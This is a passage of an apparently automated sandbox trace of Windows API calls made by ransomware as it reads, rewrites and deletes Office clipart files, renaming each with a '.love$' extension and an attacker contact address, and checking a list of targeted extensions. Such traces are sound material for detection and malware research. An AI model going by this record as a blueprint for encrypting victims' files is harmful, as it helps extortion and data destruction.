(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0230.230] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.230] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.231] GetLastError () returned 0x0 [0230.231] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x133c, lpOverlapped=0x0) returned 1 [0230.258] WriteFile (in: hFile=0x3c0, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1340, lpOverlapped=0x0) returned 1 [0230.260] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.260] WriteFile (in: hFile=0x3c0, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.260] SetEndOfFile (hFile=0x3c0) returned 1 [0230.265] CloseHandle (hObject=0x3c0) returned 1 [0230.274] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.274] SetEndOfFile (hFile=0x404) returned 1 [0230.280] CloseHandle (hObject=0x404) returned 1 [0230.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0230.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0230.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.285] lstrlenW (lpString=".doc") returned 4 [0230.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.286] lstrlenW (lpString=".docx") returned 5 [0230.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.286] lstrlenW (lpString=".pdf") returned 4 [0230.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.286] lstrlenW (lpString=".xls") returned 4 [0230.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.286] lstrlenW (lpString=".xlsx") returned 5 [0230.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.286] lstrlenW (lpString=".ppt") returned 4 [0230.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.286] lstrlenW (lpString=".zip") returned 4 [0230.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.286] lstrlenW (lpString=".rar") returned 4 [0230.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.286] lstrlenW (lpString=".bz2") returned 4 [0230.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.286] lstrlenW (lpString=".7z") returned 3 [0230.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.286] lstrlenW (lpString=".dbf") returned 4 [0230.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.286] lstrlenW (lpString=".1cd") returned 4 [0230.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.286] lstrlenW (lpString=".jpg") returned 4 [0230.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.287] lstrlenW (lpString=".doc") returned 4 [0230.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.287] lstrlenW (lpString=".docx") returned 5 [0230.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.287] lstrlenW (lpString=".pdf") returned 4 [0230.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.287] lstrlenW (lpString=".xls") returned 4 [0230.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.287] lstrlenW (lpString=".xlsx") returned 5 [0230.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.287] lstrlenW (lpString=".ppt") returned 4 [0230.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.287] lstrlenW (lpString=".zip") returned 4 [0230.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.287] lstrlenW (lpString=".rar") returned 4 [0230.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.287] lstrlenW (lpString=".bz2") returned 4 [0230.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.287] lstrlenW (lpString=".7z") returned 3 [0230.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.287] lstrlenW (lpString=".dbf") returned 4 [0230.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.288] lstrlenW (lpString=".1cd") returned 4 [0230.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0230.288] lstrlenW (lpString=".jpg") returned 4 [0230.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.288] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0230.288] lstrlenW (lpString="BD08758_.WMF") returned 12 [0230.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0230.289] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=24320) returned 1 [0230.289] CloseHandle (hObject=0x404) returned 1 [0230.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0230.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0230.289] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.289] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.290] GetLastError () returned 0x0 [0230.290] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x5f00, lpOverlapped=0x0) returned 1 [0230.389] WriteFile (in: hFile=0x454, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5f10, lpOverlapped=0x0) returned 1 [0230.390] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.390] WriteFile (in: hFile=0x454, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.390] SetEndOfFile (hFile=0x454) returned 1 [0230.748] CloseHandle (hObject=0x454) returned 1 [0230.750] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.750] SetEndOfFile (hFile=0x404) returned 1 [0230.755] CloseHandle (hObject=0x404) returned 1 [0230.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0230.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0230.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.757] lstrlenW (lpString=".doc") returned 4 [0230.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.757] lstrlenW (lpString=".docx") returned 5 [0230.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.757] lstrlenW (lpString=".pdf") returned 4 [0230.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.757] lstrlenW (lpString=".xls") returned 4 [0230.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.757] lstrlenW (lpString=".xlsx") returned 5 [0230.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.758] lstrlenW (lpString=".ppt") returned 4 [0230.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.758] lstrlenW (lpString=".zip") returned 4 [0230.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.758] lstrlenW (lpString=".rar") returned 4 [0230.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.758] lstrlenW (lpString=".bz2") returned 4 [0230.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.758] lstrlenW (lpString=".7z") returned 3 [0230.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.758] lstrlenW (lpString=".dbf") returned 4 [0230.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.758] lstrlenW (lpString=".1cd") returned 4 [0230.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.758] lstrlenW (lpString=".jpg") returned 4 [0230.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.758] lstrlenW (lpString=".doc") returned 4 [0230.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.758] lstrlenW (lpString=".docx") returned 5 [0230.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0230.759] lstrlenW (lpString=".pdf") returned 4 [0230.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.759] lstrlenW (lpString=".xls") returned 4 [0230.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.759] lstrlenW (lpString=".xlsx") returned 5 [0230.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0230.759] lstrlenW (lpString=".ppt") returned 4 [0230.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.759] lstrlenW (lpString=".zip") returned 4 [0230.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.759] lstrlenW (lpString=".rar") returned 4 [0230.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.759] lstrlenW (lpString=".bz2") returned 4 [0230.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.759] lstrlenW (lpString=".7z") returned 3 [0230.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.759] lstrlenW (lpString=".dbf") returned 4 [0230.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.759] lstrlenW (lpString=".1cd") returned 4 [0230.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0230.759] lstrlenW (lpString=".jpg") returned 4 [0230.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.760] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0230.760] lstrlenW (lpString="BD08808_.WMF") returned 12 [0230.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0230.761] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=47996) returned 1 [0230.761] CloseHandle (hObject=0x404) returned 1 [0230.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0230.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0230.762] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.762] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0230.763] GetLastError () returned 0x0 [0230.763] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0231.291] WriteFile (in: hFile=0x454, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xbb80, lpOverlapped=0x0) returned 1 [0231.293] ReadFile (in: hFile=0x404, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.293] WriteFile (in: hFile=0x454, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.293] SetEndOfFile (hFile=0x454) returned 1 [0231.337] CloseHandle (hObject=0x454) returned 1 [0231.338] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.338] SetEndOfFile (hFile=0x404) returned 1 [0231.436] CloseHandle (hObject=0x404) returned 1 [0231.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0232.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.055] lstrlenW (lpString=".doc") returned 4 [0232.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.055] lstrlenW (lpString=".docx") returned 5 [0232.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.055] lstrlenW (lpString=".pdf") returned 4 [0232.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.055] lstrlenW (lpString=".xls") returned 4 [0232.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.055] lstrlenW (lpString=".xlsx") returned 5 [0232.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.055] lstrlenW (lpString=".ppt") returned 4 [0232.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.055] lstrlenW (lpString=".zip") returned 4 [0232.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.055] lstrlenW (lpString=".rar") returned 4 [0232.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.055] lstrlenW (lpString=".bz2") returned 4 [0232.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.056] lstrlenW (lpString=".7z") returned 3 [0232.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.056] lstrlenW (lpString=".dbf") returned 4 [0232.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.056] lstrlenW (lpString=".1cd") returned 4 [0232.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.056] lstrlenW (lpString=".jpg") returned 4 [0232.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.056] lstrlenW (lpString=".doc") returned 4 [0232.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.056] lstrlenW (lpString=".docx") returned 5 [0232.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.056] lstrlenW (lpString=".pdf") returned 4 [0232.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.056] lstrlenW (lpString=".xls") returned 4 [0232.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.056] lstrlenW (lpString=".xlsx") returned 5 [0232.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.056] lstrlenW (lpString=".ppt") returned 4 [0232.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.056] lstrlenW (lpString=".zip") returned 4 [0232.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.057] lstrlenW (lpString=".rar") returned 4 [0232.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.057] lstrlenW (lpString=".bz2") returned 4 [0232.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.057] lstrlenW (lpString=".7z") returned 3 [0232.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.057] lstrlenW (lpString=".dbf") returned 4 [0232.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.057] lstrlenW (lpString=".1cd") returned 4 [0232.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0232.057] lstrlenW (lpString=".jpg") returned 4 [0232.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.057] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0232.057] lstrlenW (lpString="BD19986_.WMF") returned 12 [0232.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0232.660] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=14486) returned 1 [0232.660] CloseHandle (hObject=0x48c) returned 1 [0232.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0233.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft 